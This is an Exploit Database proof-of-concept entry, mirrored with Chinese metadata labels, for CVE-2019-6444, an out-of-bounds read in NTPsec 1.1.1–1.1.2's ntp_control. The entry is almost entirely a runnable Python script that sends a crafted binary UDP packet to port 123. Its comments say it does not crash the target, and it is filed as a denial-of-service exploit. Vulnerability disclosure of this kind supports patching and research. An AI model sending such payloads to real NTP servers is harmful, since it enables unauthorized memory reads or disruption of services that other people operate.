NTPsec 1.1.2 – ‘ntp_control’ Out-of-Bounds Read (PoC)

• Exploit Database
• 16 阅读

• 作者： Magnus Klaaborg Stubman
  日期： 2019-01-16
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46176/

• #!/usr/bin/env python
  # Exploit Title: ntpsec 1.1.2 OOB read Proof of concept
  # Bug Discovery: Magnus Klaaborg Stubman (@magnusstubman)
  # Exploit Author: Magnus Klaaborg Stubman (@magnusstubman)
  # Website: https://dumpco.re/bugs/ntpsec-oobread2 
  # Vendor Homepage: https://ntpsec.org/ 
  # Software Link: ftp://ftp.ntpsec.org/pub/releases/ntpsec-1.1.2.tar.gz 
  # Affected versions: ntpsec 1.1.1, 1.1.2
  # CVE: CVE-2019-6444
  # Note: this PoC does not crash the target
  
  import sys
  import socket
  
  buf = ("\x8e\x0a\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73" +
   "\x6b\xc3\x80\x00\x00\x00\x00\x00\x02\x48\x47\x50\x53\x73\xdd\xb5" +
   "\xc9\x64\xcf\x8a\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x44\x47\x50\x10\x00\x47\xb5\xc9\xcf\x97\xbb\x00\xe5\xf8\xdd" +
   "\xb5\xc9\x6b\xd8\x7f\x81\xc2\xdd\xb5\xc9\x6b\xdd\x80\xe4\xe4\xe5" +
   "\x9f\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x21\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\xc5\xbf\xbc\x6b\xd8\x7f\x82\x00\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x42\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\xed\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x00\x00\xe4\xe4\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x00" +
   "\x01\x00\x00\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x29\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b" +
   "\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x2b\x97\x48\xdd\xb5\xc9\x6b" +
   "\xbb\xe8\x08\xf8\xdd\xba\xc9\x6b\xd8\x7f\x82\xc2\xdd\xb5\xc9\x6b" +
   "\xd8\x80\x57\x9f")
  
  sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  sock.sendto(buf, ('127.0.0.1', 123))